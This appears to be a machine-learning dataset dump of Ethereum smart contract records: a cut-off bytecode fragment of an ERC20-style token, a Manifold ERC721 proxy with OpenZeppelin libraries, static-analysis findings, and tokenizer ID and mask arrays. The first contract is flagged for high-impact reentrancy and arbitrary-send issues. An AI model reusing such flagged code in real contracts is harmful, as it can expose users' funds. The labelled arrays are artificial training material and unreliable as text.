fffffffffffffffffffffff1681526020019081526020016000205461241a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227881612478565b6122828483612535565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122df9190612ebb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea00000905061233c683635c9adc5dea00000600854611fdf90919063ffffffff16565b82101561235b57600854683635c9adc5dea00000935093505050612364565b81819350935050505b9091565b60008060008060008060008060006123858a600a54600b5461256f565b9250925092506000612395612056565b905060008060006123a88e878787612605565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124299190612ff1565b90508381101561246e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246590612dbb565b60405180910390fd5b8091505092915050565b6000612482612056565b905060006124998284611f6490919063ffffffff16565b90506124ed81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61254a826008546123d090919063ffffffff16565b6008819055506125658160095461241a90919063ffffffff16565b6009819055505050565b60008060008061259b606461258d888a611f6490919063ffffffff16565b611fdf90919063ffffffff16565b905060006125c560646125b7888b611f6490919063ffffffff16565b611fdf90919063ffffffff16565b905060006125ee826125e0858c6123d090919063ffffffff16565b6123d090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061261e8589611f6490919063ffffffff16565b905060006126358689611f6490919063ffffffff16565b9050600061264c8789611f6490919063ffffffff16565b905060006126758261266785876123d090919063ffffffff16565b6123d090919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126a161269c84612f70565b612f4b565b905080838252602082019050828560208602820111156126c057600080fd5b60005b858110156126f057816126d688826126fa565b8452602084019350602083019250506001810190506126c3565b5050509392505050565b60008135905061270981613585565b92915050565b60008151905061271e81613585565b92915050565b600082601f83011261273557600080fd5b813561274584826020860161268e565b91505092915050565b60008135905061275d8161359c565b92915050565b6000815190506127728161359c565b92915050565b600081359050612787816135b3565b92915050565b60008151905061279c816135b3565b92915050565b6000602082840312156127b457600080fd5b60006127c2848285016126fa565b91505092915050565b6000602082840312156127dd57600080fd5b60006127eb8482850161270f565b91505092915050565b6000806040838503121561280757600080fd5b6000612815858286016126fa565b9250506020612826858286016126fa565b9150509250929050565b60008060006060848603121561284557600080fd5b6000612853868287016126fa565b9350506020612864868287016126fa565b925050604061287586828701612778565b9150509250925092565b6000806040838503121561289257600080fd5b60006128a0858286016126fa565b92505060206128b185828601612778565b9150509250929050565b6000602082840312156128cd57600080fd5b600082013567ffffffffffffffff8111156128e757600080fd5b6128f384828501612724565b91505092915050565b60006020828403121561290e57600080fd5b600061291c8482850161274e565b91505092915050565b60006020828403121561293757600080fd5b600061294584828501612763565b91505092915050565b60006020828403121561296057600080fd5b600061296e84828501612778565b91505092915050565b60008060006060848603121561298c57600080fd5b600061299a8682870161278d565b93505060206129ab8682870161278d565b92505060406129bc8682870161278d565b9150509250925092565b60006129d283836129de565b60208301905092915050565b6129e781613106565b82525050565b6129f681613106565b82525050565b6000612a0782612fac565b612a118185612fcf565b9350612a1c83612f9c565b8060005b83811015612a4d578151612a3488826129c6565b9750612a3f83612fc2565b925050600181019050612a20565b5085935050505092915050565b612a6381613118565b82525050565b612a728161315b565b82525050565b6000612a8382612fb7565b612a8d8185612fe0565b9350612a9d81856020860161316d565b612aa6816132a7565b840191505092915050565b6000612abe602383612fe0565b9150612ac9826132b8565b604082019050919050565b6000612ae1602a83612fe0565b9150612aec82613307565b604082019050919050565b6000612b04602283612fe0565b9150612b0f82613356565b604082019050919050565b6000612b27601b83612fe0565b9150612b32826133a5565b602082019050919050565b6000612b4a601d83612fe0565b9150612b55826133ce565b602082019050919050565b6000612b6d602183612fe0565b9150612b78826133f7565b604082019050919050565b6000612b90602083612fe0565b9150612b9b82613446565b602082019050919050565b6000612bb3602983612fe0565b9150612bbe8261346f565b604082019050919050565b6000612bd6602583612fe0565b9150612be1826134be565b604082019050919050565b6000612bf9602483612fe0565b9150612c048261350d565b604082019050919050565b6000612c1c601783612fe0565b9150612c278261355c565b602082019050919050565b612c3b81613144565b82525050565b612c4a8161314e565b82525050565b6000602082019050612c6560008301846129ed565b92915050565b6000604082019050612c8060008301856129ed565b612c8d60208301846129ed565b9392505050565b6000604082019050612ca960008301856129ed565b612cb66020830184612c32565b9392505050565b600060c082019050612cd260008301896129ed565b612cdf6020830188612c32565b612cec6040830187612a69565b612cf96060830186612a69565b612d0660808301856129ed565b612d1360a0830184612c32565b979650505050505050565b6000602082019050612d336000830184612a5a565b92915050565b60006020820190508181036000830152612d538184612a78565b905092915050565b60006020820190508181036000830152612d7481612ab1565b9050919050565b60006020820190508181036000830152612d9481612ad4565b9050919050565b60006020820190508181036000830152612db481612af7565b9050919050565b60006020820190508181036000830152612dd481612b1a565b9050919050565b60006020820190508181036000830152612df481612b3d565b9050919050565b60006020820190508181036000830152612e1481612b60565b9050919050565b60006020820190508181036000830152612e3481612b83565b9050919050565b60006020820190508181036000830152612e5481612ba6565b9050919050565b60006020820190508181036000830152612e7481612bc9565b9050919050565b60006020820190508181036000830152612e9481612bec565b9050919050565b60006020820190508181036000830152612eb481612c0f565b9050919050565b6000602082019050612ed06000830184612c32565b92915050565b600060a082019050612eeb6000830188612c32565b612ef86020830187612a69565b8181036040830152612f0a81866129fc565b9050612f1960608301856129ed565b612f266080830184612c32565b9695505050505050565b6000602082019050612f456000830184612c41565b92915050565b6000612f55612f66565b9050612f6182826131a0565b919050565b6000604051905090565b600067ffffffffffffffff821115612f8b57612f8a613278565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ffc82613144565b915061300783613144565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561303c5761303b61321a565b5b828201905092915050565b600061305282613144565b915061305d83613144565b92508261306d5761306c613249565b5b828204905092915050565b600061308382613144565b915061308e83613144565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130c7576130c661321a565b5b828202905092915050565b60006130dd82613144565b91506130e883613144565b9250828210156130fb576130fa61321a565b5b828203905092915050565b600061311182613124565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061316682613144565b9050919050565b60005b8381101561318b578082015181840152602081019050613170565b8381111561319a576000848401525b50505050565b6131a9826132a7565b810181811067ffffffffffffffff821117156131c8576131c7613278565b5b80604052505050565b60006131dc82613144565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561320f5761320e61321a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61358e81613106565b811461359957600080fd5b50565b6135a581613118565b81146135b057600080fd5b50565b6135bc81613144565b81146135c757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e110c426053d0cab47a38fc73842b207af3cc8c552e26c597404e67be37ee36e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 2094, 2620, 2487, 11057, 2497, 2575, 2094, 21472, 2629, 2497, 2692, 2098, 2475, 2278, 8889, 21926, 2620, 2620, 23632, 2549, 2094, 2549, 2546, 2581, 2546, 16932, 2546, 11387, 2278, 1013, 1008, 1996, 14154, 1005, 1055, 2024, 7132, 7230, 2040, 17445, 19529, 2943, 1012, 2027, 2031, 1037, 10392, 3754, 2000, 10639, 2007, 2151, 4286, 2040, 7570, 19422, 1002, 1041, 16558, 2226, 1012, 4037, 1024, 8299, 1024, 1013, 1013, 1041, 16558, 2226, 1012, 5658, 3669, 12031, 1012, 10439, 10474, 1024, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 2630, 12399, 14820, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 28855, 14820, 16558, 2226, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,199
0x965de6878c74e316f0a9b7d9a51818a618e5271d
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Joel Sternfeld: Happy Anniversary /// @author: manifold.xyz import "./ERC721Creator.sol"; ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // -+++++++++++/ .+++ -++/ .+++ -+++ // // sMMMMMMMMMMMm /MMM` sMMm /MMM` +MMM // // sMMM......... `-:::-` /MMM` sMMm .::::. `---` .--. `--- .::::-` /MMM``-::-` .::: .--` .::-` // // sMMM :hNNMNMNmy. /MMM` sMMm `omNNMMMNmo` `mNNs `NNNm sNNh /dNNmmNNms` /MMMyNNMMNmo /NNN dNNsdNNMNNh: // // sMMMmddddddy +NMN+..-sMMN- /MMM` sMMm `dMMd/../dMMd` +MMN` +MNMM/ `NMM: -MMM/.`-hdd+ /MMMh:..sMMM: +MMM dMMNs:-/hMMN: // // sMMMhhhhhhhs NMMdoooooNMMy /MMM` sMMm oMMM` `MMMo mMM+ mMohMd oMMy .NMMNdhso/-` /MMM. .MMM/ +MMM dMMs `mMMh // // sMMM` MMMdyyyyyyyy+ /MMM` sMMm sMMN NMMs :MMm:MM.:MM-mMN. .+shdmMMMmo /MMM` `MMM/ +MMM dMM+ dMMh // // sMMM yMMd. -ooo- /MMM` sMMm -NMMo. .oMMN- hMMmMy mMmMMo +yys``.-yMMM` /MMM` `MMM/ +MMM dMMm-` `+MMM/ // // sMMM `smMNdhdNMms` /MMM` sMMm :dMMmddmMMd: -MMMM- +MMMm` -dMMmhhhNMNo /MMM` `MMM/ +MMM dMMmmmdmMMm+ // // -/// .:osyso:. ./// -/// `-+ssss+-` //// `///- `-+ssyso/. ./// `///. ./// dMMo-+oso:. // // dMMo // // hmm+ // // ```` // // // // // ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract JSHA is ERC721Creator { constructor() ERC721Creator("Joel Sternfeld: Happy Anniversary", "JSHA") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122058c51a34bf11f6d9ba0428c6d4d25b8d32e763f45b6329684d2c8b92ab23ee0b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26187, 3207, 2575, 2620, 2581, 2620, 2278, 2581, 2549, 2063, 21486, 2575, 2546, 2692, 2050, 2683, 2497, 2581, 2094, 2683, 2050, 22203, 2620, 15136, 2050, 2575, 15136, 2063, 25746, 2581, 2487, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 8963, 8665, 8151, 1024, 3407, 5315, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]